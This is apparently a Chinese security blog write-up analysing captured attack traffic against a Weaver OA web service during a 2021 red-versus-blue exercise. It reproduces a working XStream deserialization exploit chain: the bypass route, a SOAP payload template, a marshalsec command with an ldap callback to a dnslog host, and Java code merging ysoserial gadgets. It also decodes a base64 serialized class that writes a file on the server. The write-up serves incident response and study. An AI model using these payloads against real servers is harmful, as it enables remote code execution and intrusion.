HVV行动之某OA流量应急

 

作者:清水川崎@滴滴出行SSTG Basic Security Team

0x01 写在前面

朋友在2021年HVV中作为防守方抓到了一段流量,刚开始没有太过于在意,随后在t00ls论坛中也发现了这段流量,随即觉得事情并不简单。

 

0x02 触发点

根据流量可以得知路由为/services%20/WorkflowServiceXml,我随即查看了该OA的web.xml。

发现了相关类为weaver.workflow.webservices.WorkflowServiceXmlweaver.workflow.webservices.WorkflowServiceImplXml
关于类的东西先放到一旁,毕竟路由是否真实存在、%20有什么意义才是重点。我开始验证路由的存在。这里我测试了两个版本。

好家伙,我直接好家伙,不是阻断我,就是给我玩消失。
那我带上%20试试?

原来404和阻断都是骗人的啊!

 

0x03 漏洞的sink

根据这个response可以看出这应该是一个soap xml注入,具体是XMLDecoder、XStream或者其他什么,还得看weaver.workflow.webservices.WorkflowServiceXmlweaver.workflow.webservices.WorkflowServiceImplXml.
首先,先看看weaver.workflow.webservices.WorkflowServiceXml

可以注意到这是一个接口类,其中一个方法doCreateWorkflowRequest比较可疑。

weaver.workflow.webservices.WorkflowServiceImplXml看看这个方法的实现。

继续跟踪看看

这个xs咋看起来这么眼熟?看看xs是个啥,一般Java可能会定义在代码文件最上方。

原来xs是XStream的对象,简直是妙蛙种子逛米奇妙妙屋——妙到家了。

 

0x04 配合SOAP生成Payload

既然决定了sink点,下一步肯定是POC的撰写了,先确定SOAP基本模板。
根据朋友给的流量可以确定基本SOAP消息体模板大致是这样的。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
   <soapenv:Header/>
   <soapenv:Body>
      <web:doCreateWorkflowRequest>
    <web:string></web:string>
        <web:string>2</web:string>
      </web:doCreateWorkflowRequest>
   </soapenv:Body>
</soapenv:Envelope>

验证一下我的想法

验证成功。
接下来就是寻找gadget了。
由于并没有完整源码,只有部分github源码,不能确定gadget,先使用URLDNS试试。

<map>
  <entry>
    <url>http://1xsz12.dnslog.cn</url>
    <string>http://1xsz12.dnslog.cn</string>
  </entry>
</map>

组合我们的模板试试。
这里涉及到实体编码问题,作为懒人直接选择整体编码算了。

随后dnslog成功收到请求。

试试其他的gadget?比如CommonsBeanutils的jndi注入?
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://h73xu6.dnslog.cn/a > cbu.xml

最后反弹成功。

 

0x05 marshalsec和ysoserial的联姻

大部分人都把marshalsec当做一个快速JNDI服务器的工具,其实它也有其他功能,比如生成XStream的payload就很好。

问题在于marshalsec内置的gadget全都需要出网,这一点儿也不符合我这个完美主义者的实战需求,需要出网的payload那是实验室黑客才需要的。那么既然ysoserial内置了不需要出网的gadget,可以结合起来吗?当然可以!
新建一个idea项目,将marshalsec和ysoserial都引入classpath作为依赖。然后重写marshalsec.XStream,一个字也不要改。

继续重写marshalsec.gadgets.CommonsBeanutilsmakeCommonsBeanutilsJNDI方法。
这里以URLDNS作为举例

package marshalsec.gadgets;

import java.util.Collections;
import marshalsec.UtilFactory;
import marshalsec.util.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.URLDNS;

public interface CommonsBeanutils extends Gadget {
    @Primary
    @Args(
            minArgs = 1,
            args = {"jndiUrl"},
            defaultArgs = {"{exploit.jndiUrl:ldap://localhost:1389/obj}"}
    )
    default Object makeCommonsBeanutilsJNDI(UtilFactory uf, String... args) throws Exception {
        URLDNS urldns = new URLDNS();
        Object object = urldns.getObject(args[0]);
        return object;
    }
}

这下想要用ysoserial的什么gadget,只需要新建一个基于该gadget的对象,使用其getObject方法即可。
比如我已经实现了延时注入,可以判断不出网的机器是否存在漏洞,由于每次发包只是让线程阻塞10s,且根据response时间即可判断,对服务器并无实际伤害,可以算是完美的无损poc。

具体实战,需要什么功能?比如写webshell、内存shell、回显等,请读者自行实现,这里我只提供思路。

 

0x06 流量的解密

书归正传,朋友抓到的流量到底对服务器干了啥?我们来看看。

可以判断使用了CommonsBeanutils和CC3的gadget。

这段流量以yv66vgAAAD开头可以判断是base64的序列化payload,尝试对流量整理,得到下面的流量。

yv66vgAAADIANgoACgAkBwAlCAAmCgACACcIACgKACkAKgoAAgArBwAsBwAtBwAuAQAGPGlujXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcALAEAClNvdXJjZUZpbGUBABBMb2dpbkZpbHRlci5qYXZhDAALAAwBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0BAB9EOlxXRUFWRVJcZWNvbG9neVxjc3NcbG9naW4uY3NzDAALADABAAVsb2dpbgcAMQwAMgAzDAA0ADUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARUmVzaW4vTG9naW5GaWx0ZXIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEABXdyaXRlAQAFKFtCKVYAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAALwABAAEAAAAFKrcAAbEAAAACAA4AAAAGAAEAAAAMAA8AAAAMAAEAAAAFABAAEQAAAAEAEgATAAIADQAAAD8AAAADAAAAAbEAAAAC

对其进行解码

不难看出写了个文件D:\WEAVER\ecology\css\login.css,内容应该是login12345

 

0x07 后记

这次流量的应急响应又加深了我对XStream以及某OA的印象,不可多得的一次机会。

 

0x08 招聘内推计划

滴滴出行SSTG需要你!欢迎志同道合的同学加入滴滴出行SSTG,请各大微信群联系 @清水川崎 或者 关注 @滴滴安全应急响应中心 公众号,请注明来源。

(完)